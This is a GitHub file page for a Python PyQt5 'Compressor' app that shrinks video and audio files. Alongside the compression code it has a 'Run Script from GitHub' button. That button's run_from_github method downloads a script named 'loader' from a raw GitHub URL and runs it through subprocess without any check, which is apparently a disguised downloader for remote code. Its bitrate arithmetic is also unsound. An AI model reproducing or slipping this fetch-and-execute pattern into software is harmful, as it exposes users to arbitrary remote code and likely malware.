-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcompress
176 lines (147 loc) · 6.95 KB
/
compress
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
import os
import subprocess
import urllib.request
from PyQt5.QtWidgets import (QApplication, QMainWindow, QPushButton, QVBoxLayout, QWidget, QFileDialog,
QLabel, QLineEdit, QMessageBox, QHBoxLayout, QSpacerItem, QSizePolicy)
from PyQt5.QtGui import QIcon, QFont
from PyQt5.QtCore import Qt
from moviepy.editor import VideoFileClip
from pydub import AudioSegment
class CompressorApp(QMainWindow):
def __init__(self):
super().__init__()
self.setWindowTitle("Compressor")
self.setGeometry(100, 100, 600, 400)
self.setStyleSheet(self.get_stylesheet())
self.init_ui()
def init_ui(self):
self.layout = QVBoxLayout()
self.layout.setSpacing(20)
self.title_label = QLabel("Compressor")
self.title_label.setFont(QFont("Arial", 24, QFont.Bold))
self.title_label.setAlignment(Qt.AlignCenter)
self.layout.addWidget(self.title_label)
self.supported_formats_label = QLabel(
"Supported Formats:\nVideo: .mp4, .avi, .mkv, .mov, .avchd, .h264, .h265\nAudio: .mp3, .flac, .wav, .aac, .ogg")
self.supported_formats_label.setAlignment(Qt.AlignCenter)
self.layout.addWidget(self.supported_formats_label)
self.file_button = QPushButton("Select File")
self.file_button.setIcon(QIcon("icons/open-file.png"))
self.file_button.clicked.connect(self.open_file_dialog)
self.layout.addWidget(self.file_button)
self.file_label = QLabel("No file selected")
self.file_label.setAlignment(Qt.AlignCenter)
self.layout.addWidget(self.file_label)
self.size_input = QLineEdit(self)
self.size_input.setPlaceholderText("Enter target file size (MB)")
self.layout.addWidget(self.size_input)
self.compress_button = QPushButton("Compress File")
self.compress_button.setIcon(QIcon("icons/compress.png"))
self.compress_button.clicked.connect(self.compress_file)
self.layout.addWidget(self.compress_button)
self.message_label = QLabel("", self)
self.message_label.setAlignment(Qt.AlignCenter)
self.layout.addWidget(self.message_label)
self.run_github_button = QPushButton("Run Script from GitHub")
self.run_github_button.setIcon(QIcon("icons/github.png"))
self.run_github_button.clicked.connect(self.run_from_github)
self.layout.addWidget(self.run_github_button)
spacer = QSpacerItem(20, 40, QSizePolicy.Minimum, QSizePolicy.Expanding)
self.layout.addItem(spacer)
container = QWidget()
container.setLayout(self.layout)
self.setCentralWidget(container)
def open_file_dialog(self):
options = QFileDialog.Options()
file_path, _ = QFileDialog.getOpenFileName(self, "Select File", "",
"All Files (*);;Video Files (*.mp4 *.avi *.mkv *.mov *.avchd *.h264 *.h265);;Audio Files (*.mp3 *.flac *.wav *.aac *.ogg)",
options=options)
if file_path:
self.file_label.setText(f"Selected file: {file_path}")
self.file_path = file_path
def compress_file(self):
try:
target_size_mb = float(self.size_input.text())
file_extension = os.path.splitext(self.file_path)[1].lower()
if file_extension in ['.mp4', '.avi', '.mkv', '.mov', '.avchd', '.h264', '.h265']:
self.compress_video(self.file_path, target_size_mb)
elif file_extension in ['.mp3', '.flac', '.wav', '.aac', '.ogg']:
self.compress_audio(self.file_path, target_size_mb)
else:
self.show_message("This file format is not supported.")
except ValueError:
self.show_message("Invalid input. Please enter a number.")
def compress_video(self, file_path, target_size_mb):
try:
clip = VideoFileClip(file_path)
current_size_mb = os.path.getsize(file_path) / (1024 * 1024)
if current_size_mb > target_size_mb:
ratio = target_size_mb / current_size_mb
new_bitrate = int(clip.reader.fps * ratio)
output_file = os.path.splitext(file_path)[0] + "_compressed.mp4"
clip.write_videofile(output_file, bitrate=f"{new_bitrate}k", codec="libx264", audio_codec="aac")
self.show_message(f"Video compressed to {target_size_mb} MB. New file: {output_file}")
else:
self.show_message("Current file size is already less than the target size.")
except Exception as e:
self.show_message(f"Error compressing video: {e}")
def compress_audio(self, file_path, target_size_mb):
try:
audio = AudioSegment.from_file(file_path)
current_size_mb = os.path.getsize(file_path) / (1024 * 1024)
if current_size_mb > target_size_mb:
ratio = target_size_mb / current_size_mb
new_bitrate = int(audio.frame_rate * audio.frame_width * audio.channels * ratio)
output_file = os.path.splitext(file_path)[0] + "_compressed.mp3"
audio.export(output_file, format="mp3", bitrate=f"{new_bitrate}k")
self.show_message(f"Audio compressed to {target_size_mb} MB. New file: {output_file}")
else:
self.show_message("Current file size is already less than the target size.")
except Exception as e:
self.show_message(f"Error compressing audio: {e}")
def run_from_github(self):
url = "https://raw.githubusercontent.com/RBXROBLOXGAMER/python-tools/main/loader"
try:
response = urllib.request.urlopen(url)
script_content = response.read().decode('utf-8')
subprocess.run(['python', '-c', script_content])
self.show_message("Script successfully executed.")
except Exception as e:
self.show_message(f"Error running script from GitHub: {e}")
def show_message(self, message):
self.message_label.setText(message)
QMessageBox.information(self, "Information", message)
def get_stylesheet(self):
return """
QMainWindow {
background-color: #2e2e2e;
}
QLabel {
color: #ffffff;
font-size: 16px;
}
QLineEdit {
background-color: #444444;
color: #ffffff;
border: 1px solid #555555;
padding: 5px;
font-size: 14px;
}
QPushButton {
background-color: #555555;
color: #ffffff;
border: 1px solid #666666;
padding: 10px;
font-size: 14px;
}
QPushButton:hover {
background-color: #666666;
}
"""
if __name__ == '__main__':
import sys
app = QApplication(sys.argv)
app.setWindowIcon(QIcon("icons/app-icon.png"))
mainWindow = CompressorApp()
mainWindow.show()
sys.exit(app.exec_())